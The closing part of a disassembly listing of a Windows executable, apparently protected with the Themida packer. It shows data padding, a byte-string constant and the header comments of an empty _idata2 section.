		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0
		align 4
		dd 144h	dup(0)
		db 2 dup(0)
word_616C4E	dw 0			; DATA XREF: ___:off_4452F4o
		dd 1CECh dup(0)
Themida_	ends

; Section 5. (virtual address 0021E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0021E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 61E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start